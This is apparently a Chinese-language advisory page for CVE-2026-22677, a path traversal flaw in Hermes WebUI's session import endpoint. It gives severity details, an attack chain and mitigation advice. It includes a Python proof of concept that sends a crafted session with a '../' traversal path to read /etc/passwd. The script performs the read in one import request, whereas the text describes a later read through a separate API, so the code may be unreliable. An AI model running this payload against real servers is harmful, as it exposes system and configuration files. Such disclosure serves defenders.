IPBUF安全漏洞报告
English
CVE-2026-22677 CVSS 6.5 中危

CVE-2026-22677 Hermes WebUI路径遍历漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-22677
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Hermes WebUI

相关标签

路径遍历Hermes WebUI文件读取CVE-2026-22677

漏洞概述

Hermes WebUI在0.51.44版本之前的Release T版本中存在路径遍历漏洞。该漏洞位于会话导入端点,允许经过身份验证的攻击者通过导入包含不受限制工作区值的恶意会话文件来读取任意文件。攻击者可以在工作区字段中提供被阻止的文件系统根目录,随后利用会话文件API中的相对路径访问WebUI进程可读的任何文件。此漏洞可能导致敏感信息泄露,危及服务器安全。

技术细节

该漏洞的根本原因在于Hermes WebUI的会话导入端点对用户提供的workspace参数缺乏严格的校验和过滤机制。在正常业务逻辑中,会话文件应被限制在特定的沙箱目录内,但漏洞版本允许攻击者在导入会话时指定任意的工作区路径。攻击者首先需要拥有一个有效的WebUI账户,然后构造一个特殊的会话文件。在该文件中,攻击者可以将workspace字段设置为文件系统的根目录或其他受限路径。随后,利用会话文件API接口,结合路径遍历序列(如../),攻击者能够读取WebUI进程权限范围内的任意文件。由于WebUI进程通常以特定用户身份运行,攻击者可能利用此漏洞读取配置文件、日志文件甚至源代码,从而获取系统敏感信息。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者获取一个有效的低权限WebUI账户凭证(PR:L)。
STEP 2
步骤2:构造恶意Payload
攻击者构造一个JSON格式的恶意会话文件,将workspace字段设置为根目录“/”,并在文件路径中插入“../”遍历序列指向敏感文件(如/etc/passwd)。
STEP 3
步骤3:发送利用请求
攻击者通过会话导入端点(api/sessions/import)上传恶意的会话配置。
STEP 4
步骤4:读取敏感数据
服务器端处理请求时未能正确校验路径,导致攻击者成功读取WebUI进程权限下的任意文件内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (Replace with actual target) target_url = "http://localhost:8080/api/sessions/import" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Crafted session payload exploiting path traversal # The workspace is set to the root filesystem # The path uses relative traversal to access sensitive files payload = { "session": { "workspace": "/", "files": [ { # Using relative path to escape and read /etc/passwd "path": "../../../../../../../../etc/passwd", "operation": "read" } ] } } try: response = requests.post( target_url, auth=(username, password), json=payload, headers={"Content-Type": "application/json"} ) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Response:") print(response.json()) else: print(f"[-] Exploit failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Hermes WebUI < 0.51.44

防御指南

临时缓解措施
建议用户立即升级至修复版本。如果无法立即升级,应严格限制WebUI服务账户的文件系统访问权限,确保其无法读取系统敏感目录,并加强账户安全策略,防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表